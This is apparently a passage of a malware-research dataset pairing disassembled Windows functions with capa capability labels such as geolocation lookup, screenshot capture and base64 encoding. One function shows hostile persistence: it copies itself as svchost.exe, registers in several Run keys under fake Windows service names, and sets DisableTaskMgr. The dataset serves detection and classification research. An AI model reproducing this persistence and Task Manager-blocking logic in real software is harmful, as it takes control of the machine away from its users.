joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41db54
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x47e058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00413310
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00413310
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41dbcb
cmp word [ecx], dx
je 0x41dbcb
mov eax, dword [0x425e54]
push edi
dec eax
push eax
push 0x425d40
call fcn.0041daf3
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x41dc3e
cmp word [eax], dx
je 0x41dc3e
mov eax, dword [edi]
test eax, eax
je 0x41dbef
cmp word [eax], dx
je 0x41dbef
lea eax, [ebp - 0x10]
push eax
call fcn.0041d4d6
jmp 0x41dbf8
lea eax, [ebp - 0x10]
push eax
call fcn.0041d571
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x41dc68
mov eax, dword [0x425d3c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x425a30
call fcn.0041daf3
add esp, 0xc
test al, al
je 0x41dc68
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x41dc33
cmp word [eax], di
je 0x41dc33
lea eax, [ebp - 0x10]
push eax
call fcn.0041d4d6
pop ecx
jmp 0x41dc6a
lea eax, [ebp - 0x10]
push eax
call fcn.0041d571
jmp 0x41dc30
mov eax, dword [edi]
test eax, eax
je 0x41dc55
cmp word [eax], dx
je 0x41dc55
lea eax, [ebp - 0x10]
push eax
call fcn.0041d48b
pop ecx
jmp 0x41dc68
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x41dd33
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041d978
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41dd33
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x41dd33
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x41dd33
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41dcc0
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00413cc9
test ebx, ebx
je 0x41dd2e
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00413cc9
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41dd33
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41dd33
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00420337
add esp, 0x10
xor eax, eax
inc eax
jmp 0x41dd35
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408f89
leave
ret
Function at 0x420795
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00420711
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x420904
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x420904
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4208b9
jg 0x4207f1
test eax, eax
je 0x4208af
push 1
push 0x1000
call fcn.00413635
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x420814
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4208a6
push 0x8000
push ebx
call fcn.00410b05
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42083d
jg 0x420838
cmp ecx, 0x1000
jb 0x42083d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00414e99
add esp, 0x10
cmp eax, 0xffffffff
je 0x420882
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x420838
jl 0x420869
test ecx, ecx
jne 0x42082a
push dword [ebp - 0xc]
push ebx
call fcn.00410b05
push esi
call fcn.004135fb
add esp, 0xc
xor ebx, ebx
jmp 0x420912
cmp byte [edi + 0x24], 0
je 0x420899
cmp dword [edi + 0x20], 5
jne 0x420899
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4208a4
mov ebx, dword [edi + 0x18]
jmp 0x4208a6
xor ebx, ebx
push esi
call fcn.004135fb
pop ecx
jmp 0x420912
test ecx, ecx
jg 0x42087b
jl 0x4208b9
test eax, eax
jae 0x42087b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00416665
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4208d9
cmp byte [edi + 0x1c], 0
je 0x42087b
jmp 0x42090a
push ebx
call fcn.0041ba4f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42087b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x420912
cmp byte [edi + 0x1c], 0
je 0x42090f
mov ebx, dword [edi + 0x18]
jmp 0x420912
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00416665
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403e00
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x403fb8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403e61
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x403fd4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403ece
xor eax, eax
push ebp
push 0x403ec7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403eb0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x403ff4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ece
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x403faf
cmp byte [ebp - 0xd], 0
jne 0x403f10
cmp byte [ebp - 0x12], 0
je 0x403faf
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x403f29
dec ebx
cmp byte [ebx], 0x2e
je 0x403f38
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x403f28
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x403faf
inc ebx
cmp byte [ebp - 0x12], 0
je 0x403f65
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x403faf
cmp byte [ebp - 0xd], 0
je 0x403faf
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x403faf
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4069a0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406aaa
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x4069f3
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_2
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.004030d8
jmp 0x406a91
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, ebx
call fcn.00406954
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.00406974
mov ebx, eax
test esi, esi
je 0x406a1b
dec esi
test esi, esi
jl 0x406a1b
cmp edi, ebx
jne 0x4069fa
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.00403118
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.00403364
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403160
cmp eax, 2
jl 0x406a91
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x406a91
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403160
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x406a91
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403160
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.00403364
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ab1
lea eax, [ebp - 0x110]
call fcn.00402ff4
ret

Function at 0x406be4
Capabilities:
Create thread

Disassembly:
push ebx
mov eax, dword [0x41c6a8]
mov byte [eax], 1
mov edx, dword [0x40524c]
xor eax, eax
call fcn.00405520
mov ebx, eax
mov byte [ebx + 0x18], 1
lea eax, [ebx + 0x1e]
push eax
push 4
push ebx
push 0x406bd4
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebx + 0x1a], eax
mov eax, ebx
pop ebx
ret

Function at 0x406c74
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov byte [ebx + 0x18], 0
mov eax, dword [ebx + 0x1a]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jbe 0x406c8f
mov byte [ebx + 0x18], 1
pop ebx
ret
cmp word [ebx + 0x2c], 0
je 0x406c9e
mov edx, ebx
mov eax, dword [ebx + 0x2e]
call dword [ebx + 0x2a]
pop ebx
ret

Function at 0x406cfc
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, dword [ebx + 0x1a]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [ebx + 0x19], 1
pop ebx
ret
Function at 0x406f60
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406ff8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x18], 0
jne 0x406fad
mov eax, dword [ebx + 0x19]
call fcn.00403324
push eax
push esi
mov eax, edi
call fcn.00403324
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403324
push eax
call sub.kernel32.dll_GetPrivateProfileIntA
mov dword [ebp - 4], eax
jmp 0x406fe2
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x19]
call fcn.00403324
push eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.004067cc
mov eax, dword [ebp - 8]
call fcn.00403324
push eax
mov eax, edi
call fcn.00403324
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403324
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406fff
lea eax, [ebp - 8]
call fcn.00402ff4
ret
Function at 0x409670
Capabilities:
Get graphical window text

Disassembly:
xchg edx, eax
movzx ecx, byte [edx + 0x3a]
jecxz 0x40967f
mov edx, dword [edx + 0x36]
jmp fcn.00403118
mov ecx, dword [edx + 0x18]
jecxz 0x409677
push ebx
push esi
xchg ebx, eax
mov esi, ecx
push esi
call sub.user32.dll_GetWindowTextLengthA
mov edx, eax
inc eax
push eax
mov eax, ebx
call fcn.00403490
pop edx
mov ecx, dword [ebx]
jecxz 0x4096a7
push edx
push ecx
push esi
call sub.user32.dll_GetWindowTextA
pop esi
pop ebx
ret

Function at 0x40b358
Capabilities:
Capture screenshot

Disassembly:
push ebx
mov ebx, eax
call fcn.0040b15c
je 0x40b39d
mov eax, ebx
push edx
call fcn.0040b69c
pop edx
cmp eax, edx
je 0x40b39d
test edx, edx
mov eax, ebx
jne 0x40b37c
pop ebx
inc edx
jmp fcn.0040b68c
mov byte [ebx + 0x49], dl
cmp dl, 5
jne 0x40b385
dec edx
push edx
xor edx, edx
call fcn.0040b68c
mov eax, dword [ebx + 0x3d]
movzx eax, word [eax + 0xe]
call fcn.0040ac30
pop edx
cmp al, dl
xchg ebx, eax
pop ebx
jne fcn.0040b3bc
ret
Function at 0x40c228
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
cmp byte [0x41c358], 0xff
je 0x40c23e
mov al, byte [0x41c358]
jmp 0x40c29e
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 0x10]
cmp eax, 2
jne 0x40c277
mov al, 3
mov edx, dword [esp + 4]
cmp edx, 6
jb 0x40c263
mov al, 6
jmp 0x40c299
cmp edx, 5
jb 0x40c299
cmp dword [esp + 8], 1
jb 0x40c273
mov al, 5
jmp 0x40c299
mov al, 4
jmp 0x40c299
cmp eax, 1
jne 0x40c297
mov al, 1
cmp dword [esp + 4], 4
ja 0x40c293
cmp dword [esp + 4], 4
jne 0x40c299
cmp dword [esp + 8], 0xa
jb 0x40c299
mov al, 2
jmp 0x40c299
xor eax, eax
mov byte [0x41c358], al
add esp, 0x94
ret
Function at 0x40fe10
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp], ecx
mov esi, edx
mov edi, eax
xor ebx, ebx
xor ecx, ecx
mov eax, dword [esp]
mov ebp, 3
cdq
idiv ebp
lea eax, [eax + eax*2]
mov dword [esp + 4], eax
cmp ecx, dword [esp + 4]
jge 0x40fea3
xor eax, eax
mov al, byte [edi]
shl eax, 0x10
xor edx, edx
mov dl, byte [edi + 1]
shl edx, 8
or eax, edx
xor edx, edx
mov dl, byte [edi + 2]
or eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
mov dl, byte [edx + 0x41c3fc]
mov byte [esi + ebx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
mov dl, byte [edx + 0x41c3fc]
mov byte [esi + ebx + 1], dl
mov edx, eax
shr edx, 6
and edx, 0x3f
mov dl, byte [edx + 0x41c3fc]
mov byte [esi + ebx + 2], dl
and eax, 0x3f
mov al, byte [eax + 0x41c3fc]
mov byte [esi + ebx + 3], al
add ebx, 4
add edi, 3
add ecx, 3
cmp ecx, dword [esp + 4]
jl 0x40fe3a
mov eax, dword [esp]
mov ecx, 3
cdq
idiv ecx
mov ecx, edx
test ecx, ecx
je 0x40ff11
xor eax, eax
mov al, byte [edi]
shl eax, 0x10
cmp ecx, 2
jne 0x40feca
xor edx, edx
mov dl, byte [edi + 1]
shl edx, 8
or eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
mov dl, byte [edx + 0x41c3fc]
mov byte [esi + ebx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
mov dl, byte [edx + 0x41c3fc]
mov byte [esi + ebx + 1], dl
cmp ecx, 2
jne 0x40ff04
shr eax, 6
and eax, 0x3f
mov al, byte [eax + 0x41c3fc]
mov byte [esi + ebx + 2], al
jmp 0x40ff09
mov byte [esi + ebx + 2], 0x3d
mov byte [esi + ebx + 3], 0x3d
add ebx, 4
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401ca0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x401d5c
cmp byte [esi + 0x3d], 0
je 0x401d5c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x401d4a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x401d11
sub eax, 1
je 0x401d15
sub eax, 2
jne 0x401d4a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040352a
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401d33
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x401d4a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040352a
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040352a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040352a
mov esp, ebp
pop ebp
ret
Function at 0x402990
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x25
push 0
mov dword [ebp - 0x110], 1
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x108]
push 0x4053f8
push eax
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str._svchost.exe
lea eax, [ebp - 0x108]
push eax
call esi
push 8
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a35
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
sub ecx, edx
push ecx
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call esi
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a90
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call esi
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ae0
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call esi
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b30
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call esi
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDisableReflectionKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040352a
mov esp, ebp
pop ebp
ret
Function at 0x402fe0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x403001
jl 0x402ff7
test esi, esi
jne 0x403001
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x403018
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
pop ebp
ret 0xc
push edi
mov edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x40304e
cmp eax, dword [ebp + 0xc]
mov ecx, ebx
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push esi
push eax
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [ebp + 8], esi
add esp, 0xc
mov ecx, ebx
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x4030bd
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x403076
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x4030ab
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x4030bd
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x403085
test ecx, ecx
je 0x4030bd
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
pop ebp
ret 0xc
Function at 0x4030d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4030f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x403160
jg 0x40311b
test esi, esi
je 0x403160
test ecx, ecx
jl 0x40319a
jg 0x403125
test eax, eax
je 0x40319a
cmp edi, ecx
jg 0x403135
jl 0x40312f
cmp esi, eax
jae 0x403135
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x403187
jg 0x40316d
test esi, esi
je 0x403187
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x403187
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x40316d